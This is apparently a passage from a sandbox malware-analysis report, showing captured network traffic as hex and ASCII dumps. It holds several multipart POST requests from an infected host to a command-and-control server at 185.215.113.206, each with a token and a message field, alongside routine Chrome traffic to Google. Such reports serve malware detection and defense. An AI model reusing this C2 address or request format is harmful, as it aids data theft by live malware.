2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"ybncbhylepme------KEHCAFHIJECGCAKFCGDB--
Oct 31, 2024 11:27:30.345582008 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:30.347081900 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHDGIEHJJJJEBGDAFHJ--
Oct 31, 2024 11:27:31.421057940 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:31.427366972 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	142.250.185.228	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:08 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:08 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 10:27:08 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:08 UTC	336	IN	Data Raw: 32 35 39 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 259f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700320,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-31 10:27:08 UTC	1035	IN	Data Raw: 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfuncti
2024-10-31 10:27:08 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 Data Ascii: 167?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 7a 65 5c 75 30 30 Data Ascii: 8000d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};ze\u00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.250.185.228	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:08 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:08 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:08 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-j5ZVy2CoOhP94Q2Z983MnQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:08 UTC	112	IN	Data Raw: 31 61 31 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6a 65 72 6d 61 69 6e 65 20 65 6c 75 65 6d 75 6e 6f 72 22 2c 22 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 20 6f 70 65 6e 20 62 65 74 61 20 74 65 73 74 22 2c 22 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 20 61 73 74 72 6f 6c 6f 67 79 22 2c 22 6e 69 61 67 61 72 61 20 Data Ascii: 1a17)]}'["",["jermaine eluemunor","monster hunter wilds open beta test","horoscope today astrology","niagara
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 66 61 6c 6c 73 22 2c 22 6d 6f 72 74 67 61 67 65 20 69 6e 74 65 72 65 73 74 20 72 61 74 65 73 22 2c 22 64 6f 64 67 65 72 73 20 77 6f 6e 20 77 6f 72 6c 64 20 73 65 72 69 65 73 22 2c 22 74 69 6d 20 68 65 72 62 20 61 6c 65 78 61 6e 64 65 72 20 70 72 69 6d 75 73 22 2c 22 64 72 6f 70 62 6f 78 20 6c 61 79 6f 66 66 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a Data Ascii: falls","mortgage interest rates","dodgers won world series","tim herb alexander primus","dropbox layoffs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 48 6f 7a 63 55 74 73 63 30 78 69 56 55 6c 61 54 48 64 55 55 30 52 4d 54 58 4a 69 63 6d 4e 49 51 56 42 56 5a 57 78 54 62 6a 42 30 57 58 4a 6a 4e 6e 70 43 52 31 5a 46 55 33 70 4c 65 46 56 45 61 55 64 4c 5a 30 52 71 4e 30 4e 6e 65 44 6c 44 65 55 31 35 64 47 31 78 59 55 4a 53 55 6c 4a 58 61 45 31 31 52 6b 5a 4a 4d 32 51 78 59 6a 4a 57 64 6b 70 6a 4d 32 4d 77 59 30 56 46 57 58 6b 34 61 32 70 43 56 6c 56 6b 65 57 46 36 52 47 46 75 4e 6e 46 6f 62 6d 45 77 4d 6c 64 57 56 7a 5a 4f 5a 58 70 4a 59 32 5a 6e 56 54 67 76 59 7a 68 50 65 48 42 30 56 6b 51 79 62 6c 4e 70 51 33 70 78 62 7a 56 73 4d 54 49 72 56 30 34 35 61 6a 6c 56 61 6d 74 75 61 47 64 4d 55 55 68 33 4d 6d 78 6d 5a 45 63 72 54 30 74 71 55 46 42 50 55 55 39 57 57 6b 52 77 52 7a 42 57 63 48 45 77 54 7a 64 6c Data Ascii: HozcUtsc0xiVUlaTHdUU0RMTXJicmNIQVBVZWxTbjB0WXJjNnpCR1ZFU3pLeFVEaUdLZ0RqN0NneDlDeU15dG1xYUJSUlJXaE11RkZJM2QxYjJWdkpjM2MwY0VFWXk4a2pCVlVkeWF6RGFuNnFobmEwMldWVzZOZXpJY2ZnVTgvYzhPeHB0VkQyblNpQ3pxbzVsMTIrV045ajlVamtuaGdMUUh3MmxmZEcrT0tqUFBPUU9WWkRwRzBWcHEwTzdl
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 36 61 57 31 68 5a 32 55 76 61 6e 42 6c 5a 7a 74 69 59 58 4e 6c 4e 6a 51 73 4c 7a 6c 71 4c 7a 52 42 51 56 46 54 61 31 70 4b 55 6d 64 42 51 6b 46 52 51 55 46 42 55 55 46 43 51 55 46 45 4c 7a 4a 33 51 30 56 42 51 57 74 48 51 6e 64 6e 53 45 4a 6e 61 30 6c 43 64 32 64 4c 51 32 64 72 54 45 52 53 57 56 42 45 55 58 64 4e 52 46 4a 7a 56 55 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 50 61 6d 4e 43 51 32 64 76 53 30 52 52 64 30 35 48 5a 7a 68 51 52 32 70 6a 62 45 68 35 56 54 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 Data Ascii: 6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM0
